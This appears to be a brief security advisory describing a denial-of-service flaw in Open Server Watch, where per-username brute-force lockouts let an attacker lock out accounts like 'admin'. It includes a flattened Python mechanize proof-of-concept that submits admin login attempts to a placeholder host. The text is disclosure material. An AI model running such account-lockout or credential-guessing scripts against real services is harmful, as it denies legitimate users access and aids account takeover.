Denial of Service

The bruteforce hammering protection of Open Server Watch sets timeouts on a per-username basis. An attacker could automatically hit the server repeatedly with relevant usernames (e.g. "admin") in order to lock out those users from logging in.

The following python script repeatedly attempts to login as the admin user:

#!/usr/bin/python import mechanize mech = mechanize.Browser() mech.set_handle_equiv(True) mech.set_handle_redirect(True) mech.set_handle_referer(True) users = [('admin', 'password')] mech.open('https://osw.sittingduck.bv/login.htm') for u, p in users: mech.select_form(nr=0) mech.form['user'] = u mech.form['pass'] = p response = mech.submit() if response.geturl() == 'https://osw.sittingduck.bv/login_success.html': print 'User/Password combo: ',''.join([u, '/', p]) break

Unfortunately, no patch for this issue this exists upstream.